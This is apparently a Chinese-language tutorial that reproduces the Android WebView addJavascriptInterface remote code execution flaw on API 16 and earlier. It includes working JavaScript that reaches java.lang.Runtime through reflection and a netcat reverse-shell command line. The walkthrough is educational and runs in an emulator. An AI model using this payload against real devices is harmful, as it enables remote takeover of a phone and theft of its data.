Android Webview 漏洞复现
前言
Android API level 16以及之前的版本存在远程代码执行安全漏洞。该漏洞源于程序没有正确限制使用WebView.addJavascriptInterface方法,远程攻击者可通过使用Java Reflection API利用该漏洞执行任意Java对象的方法。
总结起来说,就是通过addJavascriptInterface给WebView加入一个JavaScript桥接接口,JavaScript通过调用这个接口可以直接操作本地的JAVA接口。
触发条件
- 使用addJavascriptInterface方法注册可供JavaScript调用的Java对象;
- 使用WebView加载外部网页或者本地网页;
- Android系统版本低于4.2(Android API level 小于17);
漏洞原理
JS调用Android中对象其中一个方式是通过addJavascriptInterface接口进行对象映射:
webView.addJavascriptInterface(new JsObject(), "injectObject");
// 参数1:Android的本地对象
// 参数2:JS的对象
// 通过对象映射将Android中的本地对象和JS中的对象进行关联,从而实现JS调用Android的对象和方法
漏洞产生的根本原因:
当JS拿到Android这个对象后,就可以调用这个Android对象中所有的方法,包括系统类(java.lang.Runtime 类),从而进行任意代码执行
漏洞复现
1. 运行环境
编辑器:Android Studio 4.0.1
AVD:Android 4.1 API 16 (X86)
2.1 webview介绍
WebView可以简单的理解为一个展示Web页面的界面,同时提供了一些简单的交互功能。在android<4.4中的WebView是基于Webkit实现的。其基本用法如下:
首先在配置文件中添加WebView控件:
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:layout_height="match_parent" >
<WebView
android:id="@+id/web_view"
android:layout_width="match_parent"
android:layout_height="match_parent" />
</LinearLayout>
在Activity中就可以直接使用了:
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
webView = (WebView) findViewById(R.id.web_view);
webView.getSettings().setJavaScriptEnabled(true);
webView.loadUrl("http://www.baidu.com");
}
2.2 漏洞核心代码
在我们的客户端,如果开发人员不严谨,就会使用带有漏洞的代码:
class JsObejct{
@javascriptInterface
public String toString(){
return "injectedObject";
}
}
webView.addJavascriptInterface(new JsObject(), "injectObject"); //新建JsObject,并注入到js的injectObject字符串中
webView.loadData("", "text/html", null);
webView.loadUrl("javascript:alert(injectedObject.toString())"); //webView中访问执行js代码,js中调用injectObject字符串的toString方法,
// 在后台代码中会被映射到JsObject对象的toString方法。
产生漏洞的原因是 webView.addJavascriptInterface(new JsObject(), “injectObject”); 使得服务端的js代码可以通过 java反射机制 任意获取到客户端对象的方法。
2.3 JS攻击核心代码
function execute(cmdArgs) {
// 步骤1:遍历 window 对象
// 目的是为了找到包含 getClass ()的对象
// 因为Android映射的JS对象也在window中,所以肯定会遍历到
for (var obj in window) {
console.log(obj);
if ("getClass" in window[obj]) {
// 步骤2:利用反射调用forName()得到Runtime类对象
alert(obj);
return window[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
}
}
具体获取系统类的描述:(结合 Java 反射机制)
- Android中的对象有一公共的方法:getClass() ;
- 该方法可以获取到当前类 类型Class
- 该类有一关键的方法: Class.forName;
- 该方法可以加载一个类(可加载 java.lang.Runtime 类)
- 而该类是可以执行本地命令的
2.4 效果展示
利用漏洞反弹shell:
- 首先利用netcat在本机监听6666 8888端口:
- 进入nc.exe目录,开启2个CMD分别执行:
nc -vv -l -p 6666
nc -vv -l -p 8888
反弹shell的JS代码如下:
<script>
function execute(cmdArgs)
{
for (var obj in window) {
console.log(obj);
if ("getClass" in window[obj]) {
// 步骤2:利用反射调用forName()得到Runtime类对象
alert(obj);
return window[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
}
}
execute(["/system/bin/sh", "-c", "echo 'Hello my great world' > /sdcard/csdn.txt"]);
execute(["/system/bin/sh","-c","nc 10.0.2.2 8888|/system/bin/sh|nc 10.0.2.2 6666"]);
// 这里的IP地址是主机地址 在安卓中的localhost是10.0.2.2 端口随意设置为空闲的就行
</script>
在上面的JS攻击代码中 execute函数做了两件事情:
- 在Android端写入了 “Hello my great world” 保存在设备的 /sdcard/csdn.txt
- 反弹了一个 shell 给 netcat 监控端口
成功反弹shell在netcat上,下面测试一下:
我们刚刚在 /sdcard/csdn.txt保存了它,看一看:
打印输出确实如我们第一个execute写入的一致!
总结
webview所带来的漏洞不仅仅如此,在使用过程中存在许多漏洞,容易造成用户数据泄露等等危险,而很多人往往会忽视这个问题。其他方面的问题可以引用一位大佬的图来说明:
所以应该养成良好的写代码习惯。